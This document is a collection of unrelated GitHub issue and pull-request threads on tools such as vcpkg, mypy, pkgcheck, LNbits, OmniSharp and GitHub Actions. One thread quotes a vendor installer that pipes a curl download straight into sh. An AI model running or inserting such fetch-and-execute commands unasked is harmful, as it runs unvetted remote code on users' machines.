I at least confirm, that comments are right now quite unreadable with cmc-16...at least in my setup.

Yes, they are quite unreadable to me too. Though I don't say that as a negative, but rather as a positive! Comments are the Least priority thing to see when evaluating or writing code, and therefore should be faint, while the code should Stands out. Now I understand that's a personal opinion, and another person may think the exact opposite. I can understand if someone doesn't quite like cmc-16. I feel the colors in Nano present a great balance for a wide majority of users.
I do understand that there is no tool to import Nano colors automatically into Micro. Writing such a thing would take time. And I do appreciate the offer and kindness to consider a nano colorscheme for PR. Sadly, I think it would need to be done by another individual, as I'm too constrained for time. I simply opened this issue to hopefully inspire thought, and perhaps someone  more talented than I might also agree and (someday) make up such a colorscheme.
You developers behind Micro have shown me nothing but helpfulness, and I really thank you for all you do.


How do I set the CMake toolchain when using a custom triplet on Windows

I am trying to port our dependencies to use vcpkg and I'm struggling to resolve how to use a custom triplet in our build.
For illustration sake say we are using a dynamic build of xerces-c and a static one of google glog: I have added a triplet with the following content in vcpkg/triplets/x86-windows-csir-custom.cmake:
set(VCPKG_TARGET_ARCHITECTURE x86)
set(VCPKG_CRT_LINKAGE dynamic)
set(VCPKG_LIBRARY_LINKAGE dynamic)

if(PORT MATCHES "glog")
    set(VCPKG_LIBRARY_LINKAGE static)
endif()

Then to install the libraries in a cmd prompt:
SET VCPKG_DEFAULT_TRIPLET=x86-windows-csir-custom

.\vcpkg.exe install ^
 --triplet x86-windows-csir-custom ^
 glog ^
 xerces-c

This seems to work as desired with the dependencies built/installed in vcpkg\installed\x86-windows-csir-custom
However when invoking CMake:
SET TOOLCHAIN_FILE=%VCPKG_DIR%/scripts/buildsystems/vcpkg.cmake
cmake -DCMAKE_TOOLCHAIN_FILE=%TOOLCHAIN_FILE% ^
    -DVCPKG_DEFAULT_TRIPLET=%VCPKG_DEFAULT_TRIPLET%^
    -A Win32 ..

I get the following error:

CMake Warning at vcpkg/scripts/buildsystems/vcpkg.cmake:104 (message):
There are no libraries installed for the Vcpkg triplet x86-windows.
..
CMake Error at vcpkg/scripts/buildsystems/vcpkg.cmake:263 (_find_package):
Could not find a package configuration file provided by "XercesC" with any
of the following names:
XercesCConfig.cmake
xercesc-config.cmake
Add the installation prefix of "XercesC" to CMAKE_PREFIX_PATH or set
"XercesC_DIR" to a directory containing one of the above files.  If
"XercesC" provides a separate development package or SDK, be sure it has
been installed.
Call Stack (most recent call first):
CMakeLists.txt:7 (find_package)
-- Configuring incomplete, errors occurred!

The error seems to be related to the 'There are no libraries installed for the Vcpkg triplet x86-windows.' warning and does not occur when using only the default x86-windows triplet.
I have been able to resolve the issue by manually defining the following before invoking CMake:
SET XercesC_DIR=%VCPKG_DIR%\installed\x86-windows-csir-custom\share\xercesc
SET glog_DIR=%VCPKG_DIR%\installed\x86-windows-csir-custom\share\glog
:: indirect dependency of glog
SET gflags_DIR=%VCPKG_DIR%\installed\x86-windows-csir-custom\share\gflags

However this does not seem ideal to me: in our code base, we have a large number of dependencies and needing to define multiple environmental variables per dependency introduces a lot of complexity, as well as makes it error prone to change the library type (e.g. from static to dynamic, etc).
Is there a better way to do this?
The documentation that could use clarification is the following:
https://vcpkg.readthedocs.io/en/latest/users/triplets/#additional-remarks

set(VCPKG_TARGET_TRIPLET <your triplet> CACHE STRING "VCPKG Target Triplet to use")
or via cmd line use -DVCPKG_TARGET_TRIPLET=<your triplet>
but it is documented here:
https://vcpkg.readthedocs.io/en/latest/users/integration/#triplet-selection

Try adding your custom triplet to the cmake command line:
cmake -CMAKE_TOOLCHAIN_FILE=<vcpkg-root>/scripts/buildsystems/vcpkg.cmake -DVCPKG_TARGET_TRIPLET=x86-windows-csir-custom

@miseri, please reopen this issue if it still be a question for you.


Introducing retained flag in modules so they are retained even when the component is unmounted

@ahrnee I have introduced a retained flag in IModule that is respected by the RefCounter to keep the module for infinity.  This is an alternate implementation to #86

Hey Navneet, thanks for providing this great feature. I'm wondering when this will be released so I can use it in my project?

@ryanf5  we had some permission issues with some packages. They are resolved today, I will publish new packages shortly.

@ryanf5  Please try version 4.0.1 and let me know if you see any issues.

@navneet-g Works like a charm, thanks!


Test lb_email() on macOS and Windows

[x] test on macOS
[ ] test on Windows

Windows:

[x] postfix: does not work
[ ] ssmtp:

We need to put a note in documentation regarding this function.


email update confirmation without tests

looks good. please move the tests as well, where it is possible.


Ability to see errors in editor

I had a quick play with this plugin and it's an improvement over using a shell, but it's not very tightly integrated into the editor.  It would be great to see a bit of the approach used by https://github.com/leinardi/mypy-pycharm integrated here.  That plugin looks like it is not actively maintained any longer, and just getting it to detect the mypy executable is a huge PITA (for some reason it's trying to use my system's python2 interpreter), but the big thing it has going for it is the ability to see errors in the editor, which is pretty slick.  It gives you a bi-directional relationship between editor view and error view, whereas with this plugin it seems I have only a uni-directional relationship from error-to-editor.

I actually thought about this. But this may be misleading, because the code is not re-checked immediately when you edit it. So it will be underlined as an error even after you fix the error.
In other words, this issue and https://github.com/dropbox/mypy-PyCharm-plugin/issues/19 should go together. Btw, now that we have 300-500ms mypy daemon response time (even for huge code bases), this looks like a reasonable feature to have.

Hi Ivan!

Btw, now that we have 300-500ms mypy daemon response time (even for huge code bases), this looks like a reasonable feature to have.

I'm finally on the verge of deploying mypy on our existing (moderately large) code base, but I've been struggling to get dmypy rerun times to a level where I feel comfortable running it automatically (e.g. prior to commit, or within a PyCharm plugin).  With the mypyc update, regular mypy run times went from 1:30 to 30s (amazing!).  With dmypy it's taking about 15s to rerun if I edit any files, and <1s if nothing has been edited.  That's adequate but it's certainly not the 300-500ms that you're getting.  I'm using 0.701.  Do I need to be using the latest from master branch?  Or are there some key techniques I should be using?
Thanks again for all your amazing contributions to this ecosystem.

No, these are times for 0.701. Internally we are using a script that is basically a wrapper around dmypy recheck [--update|--remove]. We received a report from another user a while ago also reporting super slow daemon runs (10-20s for a moderately large codebase).
TBH this is a mystery that I would like to be solved, but I can't reproduce this. Maybe you could start the daemon with -vv and check for any anomalies in the daemon log file?

Ok, I created an issue over at mypy.

This would be an extremely useful feature. FWIW dmypy takes about 100ms to check 20k lines of code, so this would be perfectly acceptable for my use case. I have a wrapper script which uses git ls-files to find which files to check (so I can exclude things) and that takes 60ms itself, so in total, it takes 160ms.

Yeah, this would make most sense together with https://github.com/dropbox/mypy-PyCharm-plugin/issues/19.


pkgdev push error

Latest version installed: 0.2.4
While doing a pkgdev push I got the following trace:
pkgdev push: error: Traceback (most recent call last):
  File "/usr/lib/python3.10/site-packages/pkgcheck/pipeline.py", line 237, in _run
    if results := tuple(runner.run(restriction)):
  File "/usr/lib/python3.10/site-packages/pkgcheck/runners.py", line 71, in run
    yield from check.feed(item)
  File "/usr/lib/python3.10/site-packages/pkgcheck/checks/git.py", line 371, in feed
    yield from self.removal_checks(list(pkg_map["D"]))
  File "/usr/lib/python3.10/site-packages/pkgcheck/checks/git.py", line 280, in removal_checks
    old_keywords = set().union(*(p.keywords for p in removal_repo.match(pkg.unversioned_atom)))
  File "/usr/lib/python3.10/site-packages/pkgcore/repository/prototype.py", line 227, in match
    return list(self.itermatch(atom, **kwds))
  File "/usr/lib/python3.10/site-packages/pkgcore/repository/prototype.py", line 317, in _internal_match
    for pkg in self._internal_gen_candidates(candidates, **kwargs):
  File "/usr/lib/python3.10/site-packages/pkgcore/repository/prototype.py", line 312, in _internal_gen_candidates
    yield from sorter(pkg_filter(pkgs))
  File "/usr/lib/python3.10/site-packages/pkgcore/ebuild/repository.py", line 574, in _pkg_filter
    if not pkg.is_supported:
  File "/usr/lib/python3.10/site-packages/snakeoil/klass.py", line 389, in __call__
    return self.getter(obj)
  File "/usr/lib/python3.10/site-packages/pkgcore/package/base.py", line 97, in dynamic_getattr_dict
    val = functor(self)
  File "/usr/lib/python3.10/site-packages/pkgcore/ebuild/ebuild_src.py", line 289, in eapi
    i = fileutils.readlines_utf8(ebuild.path)
  File "/usr/lib/python3.10/site-packages/snakeoil/_fileutils.py", line 85, in native_readlines
    handle = open(mypath, mode, encoding=encoding)
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/tmp-pkgcheck-ns7iqon7.repo/dev-ml/ppx_sexp_conv/ppx_sexp_conv-0.15.0.ebuild'

Similar to #120, I think

Thank you @ajakk for trying to look at it.
But sadly it isn't the same. Your is an issue in pkgdev scanning of "staged"/"unstaged" files, and here this is an issue with pkgcheck git checks around the commits.
But @atupone, I suspect I fixed it in https://github.com/pkgcore/pkgcheck/commit/3c01e94cebda01041319903c8f5da382fcc96142. From the package history, I see 0.15.0 didn't exist for a long time in ::gentoo repo, and your latest commit was a revbump of ppx_sexp_conv-0.15.0-r1.ebuild => ppx_sexp_conv-0.15.0-r2.ebuild in commit https://github.com/gentoo/gentoo/commit/a5c7e167b55ba73ae07a6f549660a6e4628a9e0b.
@atupone, could you please say if I guessed correctly that you encountered it when trying to perform that linked commit? If yes, this was already fixed in live pkgcheck (will release soon).

I don't remember. I fixed the issue with git push --signed and went ahead.
but
0.15.0 is from Apr 22, 2022
0.15.0-r1 from Apr 23, 2022
0.15.0-r2 from Jan 28, 2023
maybe  the error is because I unmasked 0.15.0* a few day before this commit?

OK, seems like my guess was correct and it is fixed in current live pkgcheck.


Unavailable locales on CDN unpkg.com since version 2.2

GET<EMAIL_ADDRESS>404
GET<EMAIL_ADDRESS>404
<EMAIL_ADDRESS>redirect to GET<EMAIL_ADDRESS>404
GET<EMAIL_ADDRESS>200

Same issue...
Thanks for GET<EMAIL_ADDRESS>200

Same here ...

Hint: Short term workaround. Fixing it to for example "2.1.2" produces the locale/ folder ...

Apologies. Fix in coming.


Add actual fee limit (only lnd for now)

This sets a hard fee limit for lnd backends. It should entirely prevent negative LNbits wallet balances (obviously for lnd only for now).
Additionally, this makes it possible to sweep the wallet's entire balance, if a 0-fee route can be found.
I haven't done all too extensive testing for this, so it's just a draft PR for now. It would be nice someone could test this more thoroughly, as I probably missed things.

Codecov Report

Merging #346 (df91a90) into master (579d947) will decrease coverage by 0.15%.
The diff coverage is 11.11%.

@@            Coverage Diff             @@
##           master     #346      +/-   ##
==========================================
- Coverage   29.96%   29.81%   -0.16%
==========================================
  Files          32       32
  Lines        2366     2378      +12
==========================================
  Hits          709      709
- Misses       1657     1669      +12

Impacted Files
Coverage Δ

lnbits/core/services.py
19.44% <0.00%> (-1.77%)
:arrow_down:

lnbits/wallets/lndgrpc.py
23.40% <50.00%> (ø)

lnbits/wallets/lndrest.py
15.62% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 579d947...df91a90. Read the comment docs.

A temporary payment is created at https://github.com/lnbits/lnbits/pull/346/files#diff-0f59f07ce344c28b48f1e3ef2ee36b4428a8a7e9e66ffc53a4ea4cdebff29725R137 before the balances are checked to prevent race conditions (two payments being attempted at the same time). Relying on old_balance here is problematic because it bypasses that.
The way to do it would be to set the fee reserve dynamically and use that as LND's fee_limit. But I think for now you could just hardcoded the fee_limit on the LND wallet file to reflect the hardcoded fee reserve and see if that fixes it.
Then we can get fancy later.

Eclair and c-lightning also have ways to set fee limits. We'll have to look at these.
For the others maybe we should expose a constant saying how each one behaves regarding fees and use that for calculating the fee reserve.

Closed #447


RDF export (Pelagios, SNAP, etc.)

Do you know of any existing TEI->RDF converters (XSLT) for transforming into SNAP, Pelagios, etc? The only thing I could find was that Recogito is being worked on to support TEI import.

if needed I had made some Xquery and XSLT producing pelagios annotations from placeName elements in tei files for the OEDUc
https://github.com/EpiDoc/OEDUc/blob/master/oeduc-0.1/modules/rest.xql
https://github.com/EpiDoc/OEDUc/blob/master/oeduc-0.1/xslt/pelagios.xsl

I'm sure a few people have done this for Pelagios. There's only one, half (or less) finished bit of code for converting TEI -> SNAP that I'm aware of (here). But more important than either of these, I think--or at any case prior to them in time--would be some discussion and speccing of what features in the EpiDoc/TEI we want to export to RDF. I might try to pull together a couple of people with an interest in this question, shortly...

Jamie, have we left this too late to implement proper RDF export of geographical and prosopographical features in EFES 1.0? If so let's reassign this ticket to the milestone "Future Work" and leave it for now.
If not, we need to have a robust conversation/sprint to spec:

LAWD/Pleiades/Pelagios RDF for place information
SNAP RDF for person information
[yet-to-be-identified-ontology RDF for epigraphic information] --out of scope for EFES 1.0

I have some time to do the work, it's knowing what the mappings are that is the issue (and the piece that takes time and knowledge). There's also a little bit of front-end thought required, in terms of where should one access the RDF - a single URL to get all the RDF in the system, multiple URLs to get 'person-related' RDF (but how far to follow potential connections?), or what?

This ticket requires the speccing of the Pelagios, SNAP, Godot and EpOnt ontologies before it can be carried out, therefore reassigning this ticket to EFES 2.0.


respect tea --prefix if tea/cli exists

tea/gui uses $HOME/.tea without the option to modify it. If tea/cli was installed with sh <(curl https://tea.xyz) --prefix $RAND_DIR/tea and tea/gui is installed on top, users will have 2 separate tea directories, $HOME/.tea and $RAND_DIR/tea.
tea/gui should defer to tea --prefix if it exists.

good catch.


Cannot sign in with a different user even on Remove Account if Keep me Signed In was checked during login

If a user clicked Keep Me Signed In on Login, he is not signed out even on Remove Account. Therefore, another user can never sign in to this app.

Archiving this sample


[Feature Request] Option to ignore link from currently active file in popup

Like to Title says. It would be great if SNW could optionally ignore the link in the currently active file for the counter and popup next to a link as it is pretty much redundant information.

Good idea. will implement this in the near future.

Seconded. I found it initially confusing that some links would show 1 reference and it's the same file. Now it's kinda bothering tbh. Please make it an option :)

Please, implement this. There is no need to show a link to the file currently opened.


naming the packages

All the downloadable packages are named   "atom.x86_64.rpm" , could you please specify the  version in the package names , it will be so helpful
Thank you

I'd agree with that. It's worthwhile for people who want to keep installers for several versions around.

Thanks for the suggestion! This looks like a duplicate of https://github.com/atom/atom/issues/4044 – please subscribe there for updates.


Fix broken link to the getting-started page

The previous links /getting-started-google and /getting-started-azure didn't exist
Ideally, we should refer to [0] but it's an OS page and I don't
want to add OS vs. Enterprise condition so for now let's go without a direct link
This PR also contains the following two minor changes

https://github.com/scylladb/scylla-machine-image/commit/62752d746f4e0c789ea08a5c9bbc2a325b3a3a98 - Update gitignore
https://github.com/scylladb/scylla-machine-image/commit/010fc98dc1be6c32a586ffe51e3eae83ae8abbef - Add boto3 as test-requirements

[0] https://opensource.docs.scylladb.com/master/getting-started/cloud-instance-recommendations

Verified with https://jenkins.scylladb.com/job/scylla-master/job/releng-testing/job/next-machine-image/191/
GCP e2-micro (dev instance)

GCP c3-standard-4 (no auto-optimized instance)

v2: remove the test_getting_started_url for all provides since it's not relevant anymore,
No need to add a test for the new msg


please make the status make sense for the average technical user

Is my node synced or not? I have no idea, it just stays at 2624
I never understood the thing that's in the parenthesis... when you hover over it, it says "Blocks downloaded".... then why does it go down in time, shouldn't it go up, as more blocks are downloaded?
So is my node synced or not?

Your node receives new blocks - on the parenthesis - but it needs to check if it's a valid block to save it on the ledger, so the number after "Block:" is the counter of saved blocks.
Your node can be considered synced if the checked blocks counter is similar to other nodes, you can only compare it to know. An easy option is to use curl https://mynano.ninja/api/blockcount at the terminal, but since you're using the GUI you can check it using https://www.nanode.co/blocks
I do agree, though it's not something hard to understand, the description should be more didactic for starters than "block count (blocks downloaded)".
On RPC use:


Bug Report: Charticulator visual no longer displaying

Hi there,
I'm encountering an issue where Charticulator visuals that previously displayed correctly are now failing to appear at all. A couple of months ago I've followed the standard procedure documented in the Microsoft Fabric Community guide to switch to the community viewer (https://community.fabric.microsoft.com/t5/Desktop/Hoe-do-I-export-a-Power-BI-template-from-Charticulator/td-p/2305168), but the visual is no longer rendering at all.
The issue persists even when attempting to recreate charts from scratch - at some point during the chart building process, the visualization fails to display. Could you please look into this issue? I've attached the diagnostic information I get below.
TypeError
 Cannot read properties of null (reading 'key')
 TypeError: Cannot read properties of null (reading 'key')
    at N.renderChart (<anonymous>:2:4115447)
    at N.render (<anonymous>:2:4116157)
    at U_.getGraphics (<anonymous>:97:123639)
    at new U_ (<anonymous>:97:120271)
    at dh (<anonymous>:2:3829301)
    at wp (<anonymous>:2:3879333)
    at Xp (<anonymous>:2:3896956)
    at Xm (<anonymous>:2:3953037)
    at Hm (<anonymous>:2:3944514)
    at Lm (<anonymous>:2:3944373)

    at U_ (<anonymous>:97:120175)
    at Xb (<anonymous>:87:56842)
    at div
    at div
    at div
    at section
    at div
    at n (<anonymous>:2:2101552)
    at FluentProvider:61:436171
    at div
    at QR (<anonymous>:97:202208)
    at div
    at lS (<anonymous>:97:214076)
    at FluentProvider:97:237999
    at oT (<anonymous>:97:350047)
    at gJ (<anonymous>:97:554580)
    at qH (<anonymous>:97:348055)

https://github.com/zBritva/charticulator-visual-community/issues/42#issuecomment-2498537040


Update Code - Proof_Of_ContributionSnapshot5.md

Weights for Contributions:

Gin endpoint for retrieving all agents
RpcProxy implementation for calling AgentRegistry interface
Agent struct
AgentRegistry interface to ApiBus propagation
Tests for ensuring the rlimits for darwin systems (closing a todo)
Mocks for systemctl
Removing unnecessary comments for already done todo

PRs in the Lumerin-protocol/Morpheus-Lumerin-Node repository:

https://github.com/Lumerin-protocol/Morpheus-Lumerin-Node/pull/86
https://github.com/Lumerin-protocol/Morpheus-Lumerin-Node/pull/92

Thanks. Reviewing.

Shev and Scott will review and merge as needed on the Lumerin side. Recommending reduced weights for this contribution, but have plenty more larger weight items that we need help with. Let's connect in signal or discord to get you more involved.

Shev and Scott will review and merge as needed on the Lumerin side. Recommending reduced weights for this contribution, but have plenty more larger weight items that we need help with. Let's connect in signal or discord to get you more involved.

We've already reached out to you previously on Telegram, but can you re-open the PR to reduce the weights?


Add --iree-check-known-dialects pass

The added pass checks whether any operations are in unregistered
dialects. This validates that the program does not contain unknown
operations and terminate earlier.

Deny lists at certain stages work better for this - if the assertion is that at the end of stablehlo input conversion it should check that there are no tf ops remaining, not that we always know every op from any dialect. Upstream tf to stablehlo should be performing the check, not us.

We have a similar pass here https://github.com/openxla/iree/blob/ce282c8293351dd0d51e95cf589e7c7832ceccae/compiler/src/iree/compiler/Dialect/Flow/Transforms/Passes.cpp#L121 which has a deny list.

good point - target.addIllegalDialect("tf"); in there seems like the proper fix here (but really, iree-import-tf should never return IR with tf dialect in it)

good point - target.addIllegalDialect("tf"); in there seems like the proper fix here (but really, iree-import-tf should never return IR with tf dialect in it)

Reworked to include a deny list. Given some of the imports could come from tooling we do not control I thought it better to just check against things we know should be legalized away immediately after import. This is mostly relevant for the tensorflow which often allows operations to slip through if completely unknown how to lower.

do we need another slightly different pass that does the same thing as the existing one? adding tf to the denylist there keeps us from spreading out different lists of dialects in different places

I believe consensus here was that we didn't want a generic pass and should instead check in each exporter/importer/plugin.


Update Nunjucks guidance and link to new docs

As part of Improving guidance for using Nunjucks docs, this improves the Nunjucks guidance in the Design System to:

remove the Nunjucks guidance from Get Started > Production and link to the new improved Frontend docs on Nunjucks
link to the same new docs from page template
improve the page template-specific Nunjucks guidance so we talk about set and block as alternate ways of passing in the same options rather than 2 different types of option
combined the 'variable' and 'block' tables, and put the combined table in alphabetical order so it's easier to use

Thanks to @hannalaakso for her help pairing to create this new documentation.

You can preview this change here:
Built with commit c7c2296d398adec147f234470ac4ddd03fb1bc87
https://deploy-preview-1311--govuk-design-system-preview.netlify.app

@36degrees @hannalaakso Back in review (with its frontend docs counterpart) after a rejig!

@36degrees @hannalaakso Updated one more time following a conversation with Ollie - let me know what you think!


Not employing SQLIntegrityConstraintViolationException when hitting "Violation of PRIMARY KEY constraint"

(Quick comment, feel free to throw in the trash if not correct)
It seems to me that the MS SQL JDBC driver does not employ the specific types of SQLExceptions that have existed since 1.6. Specifically, this should, IMO, have thrown a SQLIntegrityConstraintViolationException, but evidently it just throws a SQLServerException extends java.sql.SQLException:
Caused by: com.microsoft.sqlserver.jdbc.SQLServerException: Violation of PRIMARY KEY constraint 'PK_mats_socket_inbox_02'. Cannot insert duplicate key in object 'dbo.mats_socket_inbox_02'. The duplicate key value is (a80cF0xvLJOthmZf, 18).
	at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(SQLServerException.java:262)
	at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(SQLServerStatement.java:1632)
	at com.microsoft.sqlserver.jdbc.SQLServerPreparedStatement.doExecutePreparedStatement(SQLServerPreparedStatement.java:602)
	at com.microsoft.sqlserver.jdbc.SQLServerPreparedStatement$PrepStmtExecCmd.doExecute(SQLServerPreparedStatement.java:524)
	at com.microsoft.sqlserver.jdbc.TDSCommand.execute(IOBuffer.java:7375)
	at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(SQLServerConnection.java:3206)
	at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(SQLServerStatement.java:247)
	at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(SQLServerStatement.java:222)
	at com.microsoft.sqlserver.jdbc.SQLServerPreparedStatement.execute(SQLServerPreparedStatement.java:505)

Hi @stolsvik , this seems like duplicate of #1199

@ulvii Certainly does. Suggest close duplicate. (And suggest to fix it, one year later.. I was not surprised that jTDS do not employ these specialized Exceptions, but I was very surprised that a modern, new JDBC driver does not.)

Hi @stolsvik ,
I am closing this issue as a duplicate, please feel free to add a comment on #1199 .


6 every deployment replaces the bridge certificate

In development environment, the generated certificates are saved into certificates folder and will be reused if they are existing. Therefore, there are no change in CDK.
However, in deployment workflow, the certificates folder never exists. So, the certificates are created every time and cause changes in CDK.
In this PR, I have backup the certificates in SSM and restore them if exists.

I've changed the Settings API in https://github.com/hello-nrfcloud/backend/commit/34e04b92ac9d98554678082b0c6066e6d114ab1d ... so that only used scope/system combinations are documented which also makes it easier to introduce new scopes.

New scope:
export enum Scope {
...
	NRFCLOUD_BRIDGE_CONFIG = 'nrfcloud/bridge'
...
}


[DOCFIX] Rearrange Nav Menu

What changes are proposed in this pull request?
rearrange nav menu to move:

fuse sdk docs under reference/client apis/posix api
presto sdk under compute/presto
glossary & troubleshooting under reference

Why are the changes needed?
better doc flow
Does this PR introduce any user facing changes?
n/a

alluxio-bot, merge this please


Adds mapping for Failed pod phase

Changes proposed in this PR

adding handling to pod->synthesized-pod-state for the Failed pod phase
adding handling to container-status->failure-reason for the case where the pod failed, there is no container status, and the pod status reason is Outofcpu
allowing for lack of an exit code on a completed pod

Why are we making these changes?
We've seen this situation in the wild, and we want to handle it cleanly in Cook.

Do we know why the pod status is OutOfCPU? This error "shouldn't happen". I'm concerned that this papers over a severe bug. At the minimum, we should track how often these occur and make sure we followup as to why they occur.

Nope, not sure.
Good call, will add a log line for this.


cannot open database for backup

OrientDB Version, operating system, or hardware.
2.2.8
Operating System
Linux
Expected behavior and actual behavior
Backup script should either work or complain the credentials aren't right.
What happens is that even when there's NOTHING using the database we want to backup, the script complains that there is something using the database.
Steps to reproduce the problem
Just set up a database and try to backup.

hi @rmoog,
If you are using the "plocal" url while a instance of the server is running it will complain because the database is used by the server and cannot be open by the script.
Hope this help.
Regards

hi @rmoog,
Did we answer to your issue? can we close this ?
Bye

Hi,
No replay since a while, closing.
Regards


How to use set-env value in tag_name or release_name

How can I use env value in create-release?
name: CI

on: [push]

jobs:
  build:

    runs-on: macos

    steps:
      - name: Check out code
        uses: actions/checkout@v1

      - name: Set env
        run:  echo ::set-env name=MYTEST::$(date "+%Y.%m.%d")

      - name: Install deps
        run: |
          echo MYTEST=${MYTEST}

      - name: Create Release
        id: create_release
        uses: actions/create-release@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # This token is provided by Actions, you do not need to create your own token
        with:
          tag_name: ${{ github.sha }}.${MYTEST}
          release_name: Release ${{ github.sha }}.${MYTEST}
          draft: false
          prerelease: false

output:
Run actions/checkout@v1

Run echo ::set-env name=MYTEST::$(date "+%Y.%m.%d")

Run echo MYTEST=${MYTEST}

MYTEST=2020.01.13

Run actions/create-release@v1
  with:
    tag_name: 2a746e6940875ac2a63a3747320cc41041fd3783.${MYTEST}
    release_name: Release 2a746e6940875ac2a63a3747320cc41041fd3783.${MYTEST}
    draft: false
    prerelease: false
  env:
    MYTEST: 2020.01.13
    GITHUB_TOKEN: ***

then it will create 2a746e6940875ac2a63a3747320cc41041fd3783.${MYTEST} not 2a746e6940875ac2a63a3747320cc41041fd3783.2020.01.13

@hellodword, see the code blocks in #11.

@hellodword, see the code blocks in #11.

thanks


open to a javascript port?

I've got a port nearly finished, including all of your unit/soak/fuzz tests (which pass!) The only thing remaining is to put in packet fragmentation/re-assembly.  Would you be willing to link to it in this project's README?
I intend to keep it a faithful port in terms of structure and naming.
Totally happy to add you (and/or anyone you designate as qualified) as a maintainer.
I'd also like to publish this to npm

what I have so far:  https://github.com/mreinstein/reliable.io.js

Wow! Sounds great!

I'll add a link to your port from the main page. Thanks!


Black screen on boot

Describe the bug
Sometimes, when I power on the computer, everything hangs on a black screen. But the curser is still blink. Then i force shutdown, power on again, things be ok.
What did you expect to happen?
Successful boot.
Output of rpm-ostree status
No response
Hardware
GPD win4, inserted a micro sd card(1tb).
Extra information or context
No response

this happens to me a lot also, if i change the pc name, install an app with rpm-ostree or even update the system, i must hold the power button down, some 2 hard shutdown required, any changes causes this.

This should be fixed now. Are you booting from MicroSD or SSD?

This still happens sometimes. Yes, I’m booting from SSD.


add access control header to avoid CORS issue

Small change to add the Access-Control-Allow-Origin header.  If I want to be able to check the status code on the auth helper frontend page, I am unable to use the no-cors mode on fetch (context).
This will allow FE to check explicitly for a 204 status code to ensure the token was successfully sent.
Let me know if there is anything else needed for this PR

We can alternatively only allow the https://portal.singlestore.com origin.  This would have to make the origin customizable through a flag like --origin=https://example.com

Is there a reason to limit it?

Is there a reason to limit it?

I'm not sure.  With the life of the server being so short, I don't see a problem with just having it as * for simplicity


[cunit] Build error

Host Environment

OS: Windows
Compiler: C:/Program Files (x86)/Microsoft Visual Studio/2017/BuildTools/VC/Tools/MSVC/14.16.27023/bin/Hostx64/x86/cl.exe

To Reproduce
Steps to reproduce the behavior:
./vcpkg install cunit
Failure logs
-Cut and paste the appropriate build messages from the console output.
-- Extracting source C:/vcpkg/downloads/CUnit-2.1-3.tar.bz2
-- Using source at C:/vcpkg/buildtrees/cunit/src/547b417109-1efb971e0d.clean
-- Configuring x86-windows
CMake Error at scripts/cmake/vcpkg_execute_required_process.cmake:127 (message):
    Command failed: ninja -v
    Working Directory: C:/vcpkg/buildtrees/cunit/x86-windows-rel/vcpkg-parallel-configure
    Error code: 1
    See logs for more information:
      C:\vcpkg\buildtrees\cunit\config-x86-windows-out.log

Call Stack (most recent call first):
  scripts/cmake/vcpkg_configure_cmake.cmake:345 (vcpkg_execute_required_process)
  ports/cunit/portfile.cmake:11 (vcpkg_configure_cmake)
  scripts/ports.cmake:142 (include)

Error: Building package cunit:x86-windows failed with: BUILD_FAILED
Please ensure you're using the latest portfiles with `git pull` and `.\vcpkg update`.
Then check for known issues at:
  https://github.com/microsoft/vcpkg/issues?q=is%3Aissue+is%3Aopen+in%3Atitle+cunit
You can submit a new issue at:
  https://github.com/microsoft/vcpkg/issues/new?template=report-package-build-failure.md&title=[cunit]+Build+error
including:
  package: cunit[core]:x86-windows -> 2.1.3#7
    vcpkg-tool version: 2021-12-09-724cea8b33cbf06c645f5095fa29773697da9761
    vcpkg-scripts version: abf52dd1a 2022-01-03 (12 hours ago)'

-Please attach any additional failure logs mentioned in the console output.
config-x86-windows-out.log
Additional context
I tried deleting my old vcpkg  and reinstalling but it still didn't work

Thanks for posting this issue. Did you install CMake tools in Visual Studio Installer? If not, please install cunit again after installing this.

Ping for response

We hope your question was answered to your satisfaction; if it wasn't, you can reopen with more info.


NullReferenceException when editing c# code

Version: 1.51.1 (system setup)
Commit: e5a624b788d92b8d34d1392e4c4d9789406efe8f
Date: 2020-11-10T23:34:32.027Z
Electron: 9.3.3
Chrome: 83.0.4103.122
Node.js: 12.14.1
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.19042
ms-dotnettools.csharp: v1.23.6
[fail]: OmniSharp.Stdio.Host
        ************  Response ************
{
  "Request_seq": 962,
  "Command": "/signatureHelp",
  "Running": true,
  "Success": false,
  "Message": "\"System.NullReferenceException: Object reference not set to an instance of an object\\n  at OmniSharp.Roslyn.CSharp.Services.Signatures.SignatureHelpService.GetInvocation (Microsoft.CodeAnalysis.Document document, OmniSharp.Models.Request request) [0x00290] in <8ca5e445b15640a0986680e5a0180b25>:0 \\n  at OmniSharp.Roslyn.CSharp.Services.Signatures.SignatureHelpService.Handle (OmniSharp.Models.SignatureHelp.SignatureHelpRequest request) [0x000b2] in <8ca5e445b15640a0986680e5a0180b25>:0 \\n  at OmniSharp.Endpoint.EndpointHandler`2[TRequest,TResponse].GetFirstNotEmptyResponseFromHandlers (OmniSharp.Endpoint.Exports.ExportHandler`2[TRequest,TResponse][] handlers, TRequest request) [0x00099] in <9e06207949b04d41ac60c7c691c8ecbb>:0 \\n  at OmniSharp.Endpoint.EndpointHandler`2[TRequest,TResponse].HandleRequestForLanguage (System.String language, TRequest request, OmniSharp.Protocol.RequestPacket packet) [0x00163] in <9e06207949b04d41ac60c7c691c8ecbb>:0 \\n  at OmniSharp.Endpoint.EndpointHandler`2[TRequest,TResponse].Process (OmniSharp.Protocol.RequestPacket packet, OmniSharp.Endpoint.LanguageModel model, Newtonsoft.Json.Linq.JToken requestObject) [0x0024b] in <9e06207949b04d41ac60c7c691c8ecbb>:0 \\n  at OmniSharp.Stdio.Host.HandleRequest (System.String json, Microsoft.Extensions.Logging.ILogger logger) [0x000e7] in <add5f40a6e784fcca3e930b59965388b>:0 \"",
  "Body": null,
  "Seq": 2436,
  "Type": "response"
}

can you please provide some repro steps?
Without that it's impossible to provide any help.

Getting same exception. Noticed that VSCode started acting strange when editing C# files (intellisense not working/displaying odd errors etc). Behavior is intermittent, not 100% sure how to reproduce, I have been copying files from another project and/or rename namespace a lot when I've noticed this. Restarting VSCode usually solves the issue.
